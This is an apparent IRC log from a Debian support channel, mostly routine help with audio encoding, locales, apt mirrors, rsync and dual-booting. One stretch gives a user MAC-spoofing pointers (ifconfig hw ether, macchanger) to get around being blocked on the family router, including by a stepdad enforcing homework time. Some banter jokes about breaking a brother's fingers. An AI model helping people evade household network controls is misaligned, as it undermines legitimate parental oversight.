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| 08:58.24 | konki | whats the difference between rip and encode?? |
| 08:58.28 | sml | cafuego: Well you've got more money than me then ;-) |
| 08:58.34 | liable | I think 2G would be enough fro kde and gnome with 100 tabs open in firefox whilst editing a photo in gimp :P |
| 08:58.38 | cafuego | sml: Nah, it's not mine. |
| 08:58.45 | Gnea | etele: but it might work out-of-the-box for you (mine's an all-in-one) |
| 08:58.54 | PerfDave | konki: Ripping is getting the audio data off the CD, encoding is turning it from WAV/PCM into FLAC or Vorbis or similar. |
| 08:59.13 | cafuego | sml: I just manage it for a clint. Dual xeon 3.6GHz *cough* with 3GB ram and 160GB scsi raid |
| 08:59.17 | rmac | sml http://johnpreston.dyndns.org:2303/gallery/album04 |
| 08:59.19 | cafuego | eastwood! |
| 08:59.31 | Gnea | liable: i dunno man, firefox can get pretty greedy ;) |
| 08:59.39 | cafuego | sml: And all it does is run 1 (ONE!) vhost on apache. |
| 08:59.57 | liable | Gnea: if it doesnt crash before you can open that many :) |
| 09:00.03 | konki | PerfDave, thanks alot.. |
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| 09:00.42 | cafuego | PerfDave: What does that matter; did you forget to backdoor it? ;-) |
| 09:01.33 | PerfDave | cafuego: It got reinstalled after I left, I believe :/ |
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| 09:01.47 | cafuego | paranoid buggers |
| 09:01.48 | SerajewelKS | well i'll be darned... OGG /is/ smaller |
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| 09:02.09 | dak | its compressed more cafuego |
| 09:02.17 | cafuego | dak: what? |
| 09:02.27 | PerfDave | cafuego: No, not paranoid, my boss cocked it up ;) |
| 09:02.29 | dak | ogg takes more cpu to decode/play |
| 09:02.35 | cafuego | dak: what? |
| 09:02.38 | dak | ogg takes more cpu to decode/play |
| 09:02.39 | PerfDave | SerajewelKS: Can you please stop using "OGG" like that? It's wrong. |
| 09:02.42 | cafuego | dak: what? |
| 09:02.44 | dak | shut up |
| 09:02.45 | Gnea | PerfDave: that usually happens - they hire someone to get it all setup, no documentation is written, so they throw all the guesswork out the door and rebuild from the ground-up |
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| 09:02.51 | cafuego | dak: Stop talking at me, then. |
| 09:03.01 | PerfDave | Gnea: Hey, I got it all set up, and documented it thoroughly ;p |
| 09:03.06 | gcc4fun | hi folks ... i'm too dumb to find sarge iso images on the ftp :( |
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| 09:03.19 | dak | then u shouldnt install linux |
| 09:03.23 | SerajewelKS | PerfDave, vorbis is smaller then |
| 09:03.28 | Gnea | PerfDave: people are stupid, that will never change :) |
| 09:03.40 | PerfDave | dak: Ogg Vorbis shouldn't have to take more CPU time to decode. It depends on the decoder you're using :) |
| 09:03.51 | cafuego | gcc4fun: http://www.debian.org/CD/http-ftp/ |
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| 09:03.58 | PerfDave | Gnea: He's not stupid, just made a mistake AIUI :) |
| 09:04.00 | SerajewelKS | PerfDave, http://www.xiph.org/ogg/vorbis/listen.html says in the vorbis sample "-q 0 (VBR for highest quality)" but the manpage says that -q 10 is the highest quality. am i missing something? |
| 09:04.02 | Gnea | dak: you are now on the edge. |
| 09:04.10 | dak | perf look at the cpu usage, and iv noticed with my hardware mp3 player that ogg slows it down to hell |
| 09:04.20 | PerfDave | dak: Like I say, it depends on the decoder you're using :) |
| 09:04.22 | dak | gnea the edge of what ? |
| 09:04.35 | PerfDave | SerajewelKS: Hmm, no idea which of those is correct :/ |
| 09:04.50 | dak | if some one cant find a iso, think its a good idea they install it? |
| 09:04.58 | etele | Gnea: Thx a lot that doc solved all my probles |
| 09:05.08 | cafuego | dak: Yes |
| 09:05.12 | Gnea | how can they install it if they don't have it? o.O |
| 09:05.20 | Gnea | etele: np :) |
| 09:05.27 | SerajewelKS | PerfDave, the manpage and `oggenc -h` agree that -q 10 is highest... weird |
| 09:05.36 | gcc4fun | *hopes not haveing to suck all 14 cds* |
| 09:05.50 | PerfDave | gcc4fun: Have you read the Installation Manual? |
| 09:05.51 | cafuego | gcc4fun: Just get the netinst cd, if you have braodband. |
| 09:05.58 | gcc4fun | :D |
| 09:06.02 | _AleX_ | hi all. I'm trying to make a "binary" keymap for busybox. When i try : busybox dumpkmap, I've got this error message : /dev/vc/0: no such file or directory. It's another way to create a "binary" keymap usable by busybox loadkmap ? |
| 09:06.05 | hille | anyone knows howto get a realtek 8201 nic to work? its onboard on an k8upgrade 1689 board. |
| 09:06.29 | cafuego | Alright, time to put my wife on a flight to China. |
| 09:06.38 | dak | Gnea so what was it that you where snickering about ? |
| 09:06.48 | dak | going to ban me or some hting i guess |
| 09:07.02 | PerfDave | cafuego: "My wife just flew in to China, and boy are her arms tired..." |
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| 09:07.18 | cafuego | PerfDave: Really? Which hotel she staying at? :-P |
| 09:07.47 | Gnea | dak: no |
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| 09:08.25 | dak | gcc4fun ftp://ftp-linux.cc.gatech.edu/pub/debian-cd/current/i386/iso-cd/debian-31r0a-i386-binary-1.iso |
| 09:08.47 | dak | http://www.debian.org/CD/http-ftp/ |
| 09:09.01 | dak | cc.gatech.edu = very fast |
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| 09:09.16 | SerajewelKS | PerfDave, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=130741 |
| 09:09.19 | rmac | anyone seen xxx state of the union before i waste my time? |
| 09:09.24 | rmac | *watching it |
| 09:09.28 | SerajewelKS | PerfDave, 2002.. looks like XMMS really cares about ogg =) |
| 09:09.31 | SerajewelKS | PerfDave, vorbis* |
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| 09:09.44 | konki | this is slow... ripping+encoding... |
| 09:09.58 | Gnea | konki: then don't use a 486 ;) |
| 09:10.09 | konki | a 486?? |
| 09:10.13 | Gnea | ha |
| 09:10.17 | dak | a cd should take like 10-15 mins |
| 09:10.24 | Yokalosh | is their any way of hidding my MAC address from the router in my house |
| 09:10.28 | dak | a cd is 700 some megs man so it does take time |
| 09:10.34 | Gnea | Yokalosh: unplus it |
| 09:10.38 | Gnea | Yokalosh: unplug* |
| 09:10.42 | thirst | i just upgraded to unstable version using apt-get i get an authentication error with libexif-gtk5 |
| 09:10.42 | Yokalosh | cos my small annoying brother finds it funny to start kicking me off the internet |
| 09:10.47 | dak | Yokalosh no but u can change your mac |
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| 09:10.53 | PerfDave | SerajewelKS: So append a request for an update to the bug report - the XMMS guy said that they had "nearly working ode" to do this. |
| 09:10.56 | konki | downloadin is faster tan tat... |
| 09:11.01 | Yokalosh | ooo dak how do i change it? |
| 09:11.09 | dak | man ifconfig |
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| 09:11.11 | dak | :) |
| 09:11.18 | Gnea | Yokalosh: man ifconfig <-- look for hw ether |
| 09:11.26 | SerajewelKS | PerfDave, i'm going to test vorbis on XMMS again just to make sure... it's been about a year since i tried |
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| 09:11.34 | SerajewelKS | PerfDave, actually more like six months |
| 09:11.37 | Yokalosh | do i have to be root? |
| 09:11.40 | dak | or grab mac changer |
| 09:11.42 | Gnea | of course |
| 09:11.50 | PerfDave | SerajewelKS: WTF? You haven't tried it for a year and you're whinging about it? There's been a new Debian release in that time! :) |
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| 09:11.51 | Yokalosh | lol just chekin |
| 09:11.57 | Gnea | :) |
| 09:12.09 | SerajewelKS | PerfDave, well this report *was* filed in '02 =P |
| 09:12.10 | konki | sould i encode wit LAME or mp3encode??? |
| 09:12.11 | dak | make sure its a valid mac |
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| 09:12.17 | dak | just cant put random numbers in |
| 09:12.20 | ircdevil | poor bird ... |
| 09:12.21 | PerfDave | konki: vorbisenc ;) |
| 09:12.49 | konki | i don;t know if my NOMAD supports it... |
| 09:12.49 | PerfDave | Make sure it's a valid MAC, and unique on your network :) |
| 09:13.02 | SerajewelKS | PerfDave, still no eq |
| 09:13.08 | PerfDave | konki: Then you should have bought a proper hardware audio player ;) |
| 09:13.10 | dak | 2 macs on the same network will work but things get confused |
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| 09:13.20 | konki | if its any faster hell yah |
| 09:13.22 | Gnea | heh |
| 09:13.23 | dak | 2 of the same macs that is |
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| 09:13.31 | PerfDave | SerajewelKS: Don't file a new bug, append to the old one. |
| 09:13.32 | Gnea | dak: that's always fun ;) |
| 09:13.43 | Yokalosh | lol |
| 09:13.56 | SerajewelKS | PerfDave, yes, that's what i'm doing |
| 09:14.07 | Yokalosh | excuse me for being an idiot.... but can i pm someone what i see here cos i dont see my mac |
| 09:14.18 | mdew | anyone use the ati-remote? |
| 09:14.20 | PerfDave | Yokalosh: /msg dpkg paste |
| 09:14.54 | dak | macchanger is good cuz it has a list of cards and macs so u can pick what one u want |
| 09:15.13 | Yokalosh | cool |
| 09:15.19 | Yokalosh | so i'll just get that...... |
| 09:15.19 | dak | google it |
| 09:15.24 | dak | u gotta be root |
| 09:15.27 | dak | to run it |
| 09:15.31 | Yokalosh | yeh |
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| 09:15.35 | dak | but still he will find out its u |
| 09:15.42 | dak | this is your little brother ? kick his ass |
| 09:15.56 | PerfDave | Yokalosh: The best solution here is to break your brother's fingers ;) |
| 09:16.12 | dak | or keyboard |
| 09:16.15 | Yokalosh | haha |
| 09:16.15 | dak | cut the wires |
| 09:16.18 | Yokalosh | trust me i have |
| 09:16.21 | PerfDave | dak: Fingers are harder to replace ;) |
| 09:16.28 | Yokalosh | but when my stepdad starts doing it too, to make me do my hw |
| 09:16.31 | dak | might as well cut the fingers off then |
| 09:16.33 | gcc4fun | PerfDave: a plasmagun does the same job easier |
| 09:17.10 | PerfDave | gcc4fun: The difference here is that plasma guns don't exist ;) |
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| 09:17.27 | dak | glad im not the only bitter one |
| 09:17.28 | gcc4fun | PerfDave: who can proove the little brother exists? ;)) |
| 09:18.00 | Bwl | Isn't it LANG that controls which language all messages will be in? |
| 09:18.21 | SerajewelKS | Bwl, LANG_C i belive |
| 09:18.26 | SerajewelKS | believe* |
| 09:18.31 | Yokalosh | who can prove he doesnt though? :P |
| 09:18.41 | jm_ | LC_MESSAGES or LANG |
| 09:19.08 | Draconicus | xkb settings won't stay and keep clashing with gnome's keyboard settings. Also, ctrl+alt+functionkey does not work in X.org. I spent 20 minutes of my hour I have to get ready for work in the morning trying to fix this. Please tell me what is wrong. |
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| 09:19.12 | dak | glad im american and dont need to screw with lang crap |
| 09:19.32 | Bwl | I've done 'export LC_ALL=en_US.UTF-8' and still all messages are shown in swedish. :( |
| 09:19.35 | Yokalosh | in windows, you r mac address is permanent isnt it |
| 09:19.46 | cmihai | Yokalosh: no. |
| 09:19.48 | dak | dont u need the code page installed too ? |
| 09:19.51 | cmihai | You can change it. |
| 09:19.53 | jm_ | exported it where? |
| 09:19.55 | Yokalosh | you can change it? :S |
| 09:19.57 | dak | Yokalosh in the reg i think |
| 09:19.59 | liable | Draconicus: believe there was a bug for the tty thing. upgrade. |
| 09:20.02 | Yokalosh | i see |
| 09:20.02 | SerajewelKS | Draconicus, what's wrong is that you're using software from unstable |
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| 09:20.12 | Bwl | dak: I've generated it with dpkg-reconfigure locales. |
| 09:20.15 | PerfDave | Bwl: Have you done "dpkg-reconfigure locales"? |
| 09:20.26 | dak | you got it set to low priorit |
| 09:20.31 | PerfDave | Bwl: I'll take that as a yes ;) |
| 09:20.34 | Bwl | PerfDave: Yes. Oh, I actually found the solution. Only export LC_ALL=en_US works. :P |
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| 09:20.37 | Yokalosh | right, before i go changing my mac address, is it possible to make a router only take certain macs? |
| 09:20.51 | PerfDave | Yokalosh: Yes |
| 09:20.55 | jm_ | that means you didn't generate UTF8 locale |
| 09:21.04 | dak | dpkg-reconfig --priority=low package |
| 09:21.05 | Yokalosh | so i best write down what my current one is then ;) |
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| 09:21.11 | dak | will ask alot of questions |
| 09:21.17 | dak | goodnight |
| 09:21.23 | Bwl | jm_: Well, grepping en_US from /etc/locale.gen gives me; en_US.UTF-8 UTF-8 |
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| 09:21.32 | PerfDave | Yokalosh: No, it's hard coded in to the card, you can reboot to get the default back. |
| 09:21.34 | jm_ | Bwl: does locale -a list it? |
| 09:21.45 | Bwl | jm_: yes |
| 09:21.45 | Yokalosh | oh ok |
| 09:21.53 | Yokalosh | so every time i reboot it will be back? |
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| 09:22.09 | PerfDave | Yokalosh: Yes, but you can just change it on boot instead :) |
| 09:22.15 | Yokalosh | cool |
| 09:22.17 | Yokalosh | peeerfect |
| 09:22.29 | jm_ | Bwl: then using .UTF8 must also work |
| 09:22.30 | SerajewelKS | Yokalosh, you might be able to change the MAC address from the BIOS. some integrated cards will allow this. |
| 09:23.17 | Yokalosh | mmm do u know if the integrated one on a asus cusi-m will? |
| 09:23.22 | Yokalosh | dusnt matter if u dnt know |
| 09:23.31 | Bwl | jm_: Well, it didn't. Maybe has something to do with the fact that I don't have en_US.ISO-8859-1 etc. |
| 09:23.36 | SerajewelKS | Yokalosh, no, just check your BIOS |
| 09:23.40 | jm_ | Bwl: no |
| 09:23.42 | Yokalosh | yeh i will |
| 09:23.46 | Yokalosh | thanksyou |
| 09:23.55 | Protoss | BIOS = EFI ? |
| 09:24.04 | Protoss | Hello |
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| 09:24.30 | Bwl | jm_: oh, why it showed me text in english was because it falled back to the default locale. |
| 09:24.52 | jm_ | Bwl: right |
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| 09:25.27 | jm_ | Bwl: simple test to see if locale works is to use perl command |
| 09:26.00 | Protoss | what is perl? |
| 09:26.00 | Bwl | jm_: I've never had this problem before. Some a**hole reinstalled a server after a crash and choose swedish. I hate translations. :) |
| 09:26.05 | arno-la-lune | :) |
| 09:26.20 | jm_ | Bwl: you can always override it on a personal level |
| 09:26.40 | Bwl | jm_: I just did an 'df' and it wasn't in english. What do you mean by check with perl? |
| 09:26.47 | Protoss | $locale -a |
| 09:26.54 | jm_ | Bwl: export LANG=C; export LC_ALL=C |
| 09:27.27 | Protoss | s/C/POSIX/g |
| 09:27.28 | Morti | I'm having a bit of a crazy problem with rsync. It's saying it can't find /192.168.4.141/. Which is fine, it shouldn't, it's an IP address of another machine than a directory. What could be the problem? |
| 09:27.37 | jm_ | Bwl: LANG=foo perl - it will complain if locale can't be set |
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| 09:28.39 | Bwl | jm_: Didn't complain about 'foo' here. ;) |
| 09:29.11 | jm_ | Bwl: it didn't say "perl: warning: Setting locale failed." ? |
| 09:29.57 | gcc4fun | wow ... this install is ... what was it called ... fast? ;) |
| 09:29.59 | PerfDave | "LANG=foo perl -e ''" gives warnings about locale here |
| 09:30.04 | jm_ | indeed |
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| 09:30.14 | Bwl | jm_: No, but when I exported LC_ALL it gave me.. |
| 09:30.31 | jm_ | Bwl: unset all the locale related vars to be sure |
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| 09:32.27 | DSS | What is the difference between dpkg and apt? |
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| 09:32.46 | Bwl | jm_: export LANGUAGE seems to have done the trick. I though LANG was the one .. |
| 09:32.47 | PerfDave | DSS: dpkg installs .deb files. apt gets .deb files from repositories and satisfies dependencies. |
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| 09:33.17 | jm_ | Bwl: for perl or in general? |
| 09:33.19 | DSS | but apt also installs right? |
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| 09:33.33 | PerfDave | DSS: No, apt uses dpkg to install. |
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| 09:34.26 | Bwl | jm_: Yea, that's all. I have all other LC_*'s and LANG set to sv_SE.UTF-8 and LANGUAGE to en_US. |
| 09:35.02 | Whisky_ | hmmm, 503 errors when doing apt-get install package |
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| 09:35.22 | jm_ | Bwl: ahh yes, unset them all if you want english messages |
| 09:35.27 | Bwl | Whisky_: Some problem on the remote server then I guess. Don't recall what 503 is, bandwith maybe ... |
| 09:35.45 | Whisky_ | Bwl: 503 = Out of resources. |
| 09:35.59 | schurig | hmm, how long does it take to send a server with FedEx ? Is that Snail-Mail? |
| 09:36.00 | PerfDave | Somebody needs to go put another 10p in the meter at Whisky_'s apt mirror ;) |
| 09:36.25 | Whisky_ | schurig: FedEx is a courier service, shouldnt take more than a day or two. |
| 09:36.42 | Whisky_ | PerfDave: :p |
| 09:36.48 | schurig | Whisky_: so, why don't the the debian mirrors get new packages? |
| 09:37.06 | Draconicus | I'm on unstable's X.org release, which explains the problem, but my version is not the latest one. Should I update or leave it until the next one? |
| 09:37.19 | jm_ | no it hasn't |
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| 09:37.34 | Whisky_ | schurig: http://packages.debian.org. What are you looking for anyway ? |
| 09:37.36 | PerfDave | Draconicus: Check the BTS? |
| 09:37.50 | Bwl | jm_: Sorry but I don't understand. For me, export LANGUAGE=en_US gave me all messages in english. :/ |
| 09:38.04 | jm_ | Bwl: OK as long as it works for you |
| 09:38.32 | schurig | Whisky_: since several days "apt-get update" doesn't get new Packages-files anymore. On some announce messages I read this is because some master FTP server has to be relocated and FedEx'd. |
| 09:38.32 | Bwl | jm_: I guess.. (I've never used LANGUAGE before tho, maybe sarge is different) |
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| 09:39.05 | Whisky_ | schurig: Maybe it's still not fedexed then |
| 09:39.10 | ricky_clarkson | Galeon fails to start. No output to the command line, just hangs. Any suggestions? |
| 09:39.14 | jm_ | Bwl: it certainly has no effect for me, except for perl |
| 09:39.16 | ricky_clarkson | It works for other users. |
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| 09:39.49 | Whisky_ | anyway what's Samba ? |
| 09:40.09 | ricky_clarkson | It's a Brazilian dance. |
| 09:40.14 | schurig | Whisky_: http://lists.debian.org/debian-devel-announce/2005/07/msg00013.html |
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| 09:40.37 | positrix | Whisky_: it also lets linux boxes access windows shares. |
| 09:40.58 | Whisky_ | k |
| 09:41.05 | Whisky_ | schurig: let me have a look |
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| 09:41.43 | jm_ | positrix: no it doesn't |
| 09:41.57 | schurig | Whisky_: so since a week ftp-master.debian.org is down, and so the mirrors like ftp.de.debian.org won't get new contents. In the midst of the C++ABI change this not so nice :/ |
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| 09:42.31 | Whisky_ | schurig: Hard lucky. It's gonna be ok, np. |
| 09:42.59 | schurig | Whisky_: hmm, I'm not a native english speaker. what's the meaning of "Hard lucky" ? |
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| 09:43.01 | Gnea | positrix: the SMB filesystem allows linux to access shares, samba acts as a bridge so that systems can access shares on that host |
| 09:43.16 | Whisky_ | schurig: lol sorry I meant "Hard luck*" |
| 09:43.17 | Whisky_ | :) |
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| 09:44.03 | Gnea | schurig: of course |
| 09:44.04 | Whisky_ | schurig: I'm not a native english speaker either. It's not my language but you have to get a hang of it =) |
| 09:44.05 | Gnea | :) |
| 09:44.36 | positrix | what do i use to make an iso of my home directory? |
| 09:44.47 | PerfDave | positrix: k3b, mkisofs |
| 09:44.48 | Gnea | mkisofs |
| 09:45.49 | Whisky_ | you know, i think Kopette is alot better than Gaim, heh. |
| 09:46.22 | schurig | Konversation is cool (if you need only IRC, as I do) |
| 09:46.32 | etele | re |
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| 09:46.37 | etele | its the same :'( |
| 09:46.56 | PerfDave | Whisky_: I prefer Kopete, but gaim has more sensible default configuration. |
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| 09:47.23 | Whisky_ | PerfDave: Gaim doesnt show popups when someone signs in etc. =P |
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| 09:47.51 | SerajewelKS | Whisky_, apt-get install gaim-guifications |
| 09:48.14 | Whisky_ | SerajewelKS: I was just doing the same when I got 503 errors :| |
| 09:48.21 | PerfDave | Whisky_: Yeah, I see that as being a good thing :) |
| 09:48.43 | PerfDave | Whisky_: But KDE apps tend to be more customisable and configurable than Gnome ones anyway :) |
| 09:48.48 | Whisky_ | lol what's so good about 503 :p |
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| 09:48.57 | SerajewelKS | Whisky_, so your comment about gaim not showing dialogs was knowingly incorrect? |
| 09:49.00 | Whisky_ | Gnome is so plain...so plain that i dont like it :| |
| 09:49.22 | Whisky_ | SerajewelKS: I thought that package was for smilies? :/ |
| 09:49.34 | SerajewelKS | i just plain don't like the feel of Gnome.. it's too Windows-ish |
| 09:50.00 | StFS | hi. How can I see complete information about a specific package? I need to know what other packages a specific package "provides"... I don't seem to be able to see that in aptitude. |
| 09:50.04 | SerajewelKS | Whisky_, guifications displays toaster-like popups when someone signs on/off, etc.. you can configure what actions trigger a popup |
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| 09:50.15 | PerfDave | StFS: apt-cache show |
| 09:50.15 | jm_ | StFS: apt-cache show |
| 09:50.22 | SerajewelKS | StFS, apt-cache show package |
| 09:50.25 | resiak | Whisky_: That's a Gnome bug, because they are retards about focus. It should be fixed (after a fashion) in 2.10 |
| 09:50.29 | Whisky_ | SerajewelKS: Great, now just need to wait for the mirrors to be up, heh |
| 09:50.41 | StFS | PerfDave, jm_, SerajewelKS: thanks |
| 09:50.47 | chupie | ok, i just installed debian... during the setup i used the wrong monitor settings, now i can't use the screen resolution i want, ive already tried using xf86config to reconfigure it, but it won't change |
| 09:50.51 | SerajewelKS | Whisky_, switch to http.us.debain.org |
| 09:50.52 | resiak | Oh wait, I can't read. I thought Whisky_ was talking about Gnome hiding new Gaim windows. |
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| 09:51.07 | resiak | !debain |
| 09:51.08 | Whisky_ | resiak: Gnome guys has given up on Gnome or what? It's so lame ;/ |
| 09:51.08 | dpkg | Debian! D-E-B-I-A-N! The first DPL was not named "Ain". Sheesh! |
| 09:51.13 | Whisky_ | SerajewelKS: k |
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| 09:51.30 | PerfDave | chupie: /msg dpkg x md5sum |
| 09:51.37 | PerfDave | chupie: /msg dpkg troubleshooting x |
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| 09:51.52 | resiak | Whisky_: I like it, but they don't seem to be able to understand that a window being on top doesn't mean it is focused, and so have decided that new windows should be popunders! \o/ |
| 09:52.10 | Whisky_ | lol |
| 09:53.34 | gcc4fun | wheeeeheeeeee ... installing debian is fun :) |
| 09:53.38 | etele | re |
| 09:53.50 | etele | Gnea: hi its the same |
| 09:53.54 | Morti | Anyone know why rsync might be trying to sync a local directory rather than a remote one (and complaining when it can't find a local directory called /root/192.168.4.141)? The command is as follows: |
| 09:53.57 | Morti | rsync --timeout 10 --exclude /media --exclude /home/*/mnt --exclude /root/.ssh --exclude /var/tmp --exclude /mnt --exclude /cdrom --exclude /sys --exclude /var/lock --exclude /var/run --exclude /tmp --exclude /proc/ --exclude /var/log/ --exclude /dev/ --exclude /var/spool --delete -rulHpogDtP -e ssh $masterip:/. / & |
| 09:54.00 | etele | Gnea: its not worinkg :'( |
| 09:54.03 | Whisky_ | SerajewelKS: Can you give me the exact mirror and/or it's paths too. http://http.us.debian.org/ stable main...Doesnt seem to work :/ |
| 09:54.29 | ircdevil | !beer gcc4fun |
| 09:54.47 | SerajewelKS | Whisky_, i'm using 'deb http://http.us.debian.org/debian/ etch main non-free contrib' |
| 09:54.53 | ircdevil | !dict la maudite |
| 09:54.55 | dpkg | could not find definition for la maudite |
| 09:54.57 | resiak | Morti: --exclude /home/*/mnt will expand to --exclude /home/aoeu/mnt /home/htsn/mnt etc and so the --exclude only takes the first as its argument so the rest are all parsed as sources. |
| 09:55.09 | Whisky_ | yikess...etch !!?? |
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| 09:55.30 | Morti | resiak: Okay, I'll have a look at that. Would --exclude /home/\*/mnt work? |
| 09:55.33 | SerajewelKS | Whisky_, what about etch |
| 09:55.52 | Whisky_ | <PROTECTED> |
| 09:55.58 | Whisky_ | :/ |
| 09:56.23 | SerajewelKS | Whisky_, stop using proxies =P |
| 09:56.26 | resiak | Morti: NFI. The manual is your friend. |
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| 09:56.37 | Whisky_ | SerajewelKS: I'm not using proxies :/ |
| 09:56.47 | SerajewelKS | Whisky_, yeah i'm just playing with you |
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| 09:56.54 | Whisky_ | good good, apt-get update is now working with my existing mirrors :/ |
| 09:57.22 | Morti | resiak: NFI? |
| 09:57.30 | PerfDave | !nfi |
| 09:57.31 | dpkg | rumour has it, nfi is No Fucking Idea |
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| 09:57.54 | Whisky_ | lol |
| 09:58.19 | Shorty` | anyone know of a good ftp client (like gftp) that'll do ssl ftp? |
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| 09:58.38 | positrix | Shorty`: sftp? |
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| 09:59.02 | pippijn | hi all |
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| 09:59.24 | Shorty` | positrix, proftpd with ssl |
| 09:59.27 | pippijn | ip -4 neigh flush dev eth0 |
| 09:59.32 | pippijn | what's wrong with that? |
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| 10:03.23 | pepsi | windows will steal the MBR if i install it, right? so should i install windows first and then debian? |
| 10:03.41 | pippijn | yes |
| 10:03.52 | pepsi | to both? |
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| 10:04.01 | eye69 | Yes |
| 10:04.04 | pepsi | ok |
| 10:04.04 | crus | pepsi: yes |
| 10:04.07 | crus | lol |
| 10:04.10 | pippijn | or install debian first, then windows and then make the debian partition active and boot from it and do grub-install hdX again |
| 10:04.13 | pippijn | the hard way |
| 10:04.17 | pippijn | better install windows first |
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| 10:04.57 | ma3x | hi, if you were in firefox and want to save http://url.com/file.dat |
| 10:05.01 | ma3x | how do you do it |
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| 10:05.08 | ma3x | you have to hold shift or ctrl or something .... ? |
| 10:05.18 | ma3x | because if you just type the url and hit enter, the file opens |
| 10:05.26 | ma3x | anybody knows this trick? |
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| 10:05.42 | pepsi | not the solution, but can you just wget it? |
| 10:06.18 | wombachi | ma3x wget "http://url.com/file.dat" often lot easier/quicker, as pespi suggests |
| 10:06.19 | PerfDave | ma3x: The file will only open if you've told firefox to automatically open .dat files (or whatever) in a particular external application, and you can stop it from doing that in the Preferences menu. |
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| 10:07.45 | liable | ma3x: whats the url? |
| 10:08.17 | ma3x | liable http://sexybsdgirls.com/iceballs.dat |
| 10:08.20 | ma3x | :) |
| 10:08.23 | liable | weeeee |
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| 10:09.02 | liable | ma3x: you actually serious? |
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| 10:09.15 | pepsi | the domain doesnt exist :( |
| 10:09.34 | ma3x | liable what do you think? |
| 10:09.43 | ma3x | haha, got ya! |
| 10:09.45 | pepsi | it would have been hot if it did |
| 10:09.55 | bibe | pepsi : sure... |
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| 10:10.04 | liable | had to try it though :P |
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| 10:10.50 | luminerd | do I need internet to aptitude install gnome-desktop? |
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| 10:11.12 | liable | luminerd: not if you have iso1 |
| 10:11.22 | wombachi | if someone knows sexy(bsd|nix)girls, please tell them to register sexybsdgirls.com, it's available :) |
| 10:11.49 | liable | 1,1,1 *one* :P |
| 10:11.50 | pepsi | thats a one not an el |
| 10:12.14 | ma3x | one and only! |
| 10:12.21 | alasola | Hi, this is probally a dumb question but how do I stop a module being loaded via discover on bootup? I've read the man page and tried putting a 'skip' line in /etc/discover.conf but that didn't seem to stop it. |
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| 10:12.43 | Whisky_ | damn. 503 service unavailable again when doing apt-get install xlibs-dev. Why does it retreive the lists when doing apt-get update then ? |
| 10:12.46 | liable | alasola: try blacklisting in hotplug too |
| 10:13.46 | wombachi | alasola maybe a stupid answer but did you rmmod it? |
| 10:13.59 | resiak | !tell alasola -about blacklist |
| 10:14.02 | Whisky_ | damn damn damn damn damn |
| 10:14.43 | liable | wombachi: dont use rmmod for 2.6, use modprobe -r :) |
| 10:14.52 | alasola | liable: thanks thats probally what I need |
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| 10:15.07 | harleyg | hi all |
| 10:15.21 | bob2 | alasola: ubuntu doesn't use discover |
| 10:15.36 | bob2 | alasola: hotplug loads things at boot, and can blacklist things using /etc/hotplug/blacklist |
| 10:15.49 | alasola | bob2: I'm using debian, why would I ask for ubuntu help in the debian channel? |
| 10:16.02 | bob2 | bah |
| 10:16.04 | wombachi | liable: you're right. But I run a (really) old 2.4.27 now. Shame on me :p |
| 10:16.04 | bob2 | wrong channel |
| 10:16.11 | bob2 | anyway, discover is crap and old |
| 10:16.18 | bob2 | debian uses hotplug too |
| 10:16.31 | liable | wombachi: no shame, just making a point :) |
| 10:17.03 | alasola | bob2: I see, nowonder trying to exclude it in discover didn't work |
| 10:17.10 | SerajewelKS | bob2, is it a good idea to run both discover and hotplug, or will just hotplug get everything? |
| 10:17.11 | Whisky_ | liable: Give me a good mirror for sources.list. I wanna check if the problem presists with all mirrors i try :| |
| 10:17.24 | bob2 | just hotplug |
| 10:17.43 | liable | Whisky_: what problem? |
| 10:17.52 | Whisky_ | liable: 503 errors. |
| 10:18.27 | liable | I dont even know what 503 is. |
| 10:18.31 | alasola | ok thanks for the help everybody, I'm going to try to reboot to see if the hotplug reboot got it. If I don't come back you can assume it worked. cheers. |
| 10:18.43 | hackeron | Can someone recommend a sound card that has great quality sound (atleast as good as the envy24HT range) with supported hardware mixing and no down sampling (audigy downsamples) thats also reasonably priced? (under $500) |
| 10:18.58 | Whisky_ | liable: 503 = Our of resources |
| 10:19.00 | Whisky_ | out* |
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| 10:19.12 | bob2 | only emu10k1-based cards do hardware mixing on linux, afaik |
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| 10:19.25 | honschu | Is there a free cool linux/debian movie? |
| 10:19.31 | liable | Whisky_: apt-setup |
| 10:19.40 | honschu | Just as funny as Stallman's song? |
| 10:20.04 | Whisky_ | liable: |
| 10:20.12 | liable | Whisky_: |
| 10:20.27 | Whisky_ | k |
| 10:20.36 | liable | ? |
| 10:20.43 | wombachi | liable: 503 Service Unavailable (http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.5.4) |
| 10:20.46 | hackeron | bob2: nah, lynx 2 does as well, but I dont have the $1300 to spend on it ;) -- emu10k1 based cards have really horrible sound quality when paired with something like my Shure E5... |
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| 10:21.43 | liable | wombachi: thanks. |
| 10:21.54 | honschu | Does anybody know of a free movie about linux? |
| 10:22.06 | PerfDave | honschu: You absolutely have to download the Qt 4 dance video. |
| 10:22.17 | jm_ | honschu: The Revolution? |
| 10:22.28 | honschu | The Revolution isn't free to download?! |
| 10:22.30 | PerfDave | honschu: http://developer.kde.org/~hausmann/qt4dance_medium.ogg (ogg theora) |
| 10:22.41 | simonrvn | the revolution will not be televised |
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| 10:22.52 | jm_ | no it's probably not free |
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| 10:23.29 | liable | simonrvn: heh, hippy :) |
| 10:23.29 | sml | does zlib have problems every damn day or is it my imagination. |
| 10:23.54 | simonrvn | liable: anarcho-hippy, excuse me ;) |
| 10:24.08 | liable | hah |
| 10:24.12 | simonrvn | sml: no, been several updates |
| 10:24.32 | wombachi | honschu: not about linux but firefox: http://www.funnyfox.org/ |
| 10:24.48 | honschu | wombachi: cool - thx! |
| 10:24.51 | Whisky_ | great. |
| 10:24.57 | Whisky_ | No matter what mirror I try, 503 errors........ |
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| 10:25.37 | simonrvn | PerfDave: i've never got hit by those things, but i have been shot at with plastic bullets |
| 10:25.40 | sml | Mirror mirror on the wall who's the top dawg of dem all. |
| 10:25.50 | simonrvn | luckily the fucker missed |
| 10:25.51 | Whisky_ | ok a Russian mirror is working @ 416 bytes per second :| |
| 10:25.53 | PerfDave | simonrvn: See, at least the water cannons would give you a wash, you stinking hippy ;) |
| 10:26.00 | sml | 187 errors mean the server was involved in a homicide ? |
| 10:26.02 | simonrvn | heheh |
| 10:26.04 | liable | hahaha |
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| 10:26.12 | wombachi | Whisky_ perhaps you use a http proxy that's a little sick ? |
| 10:26.14 | PerfDave | Whisky_: I suspect something may be wrong with your apt config or your ISP. |
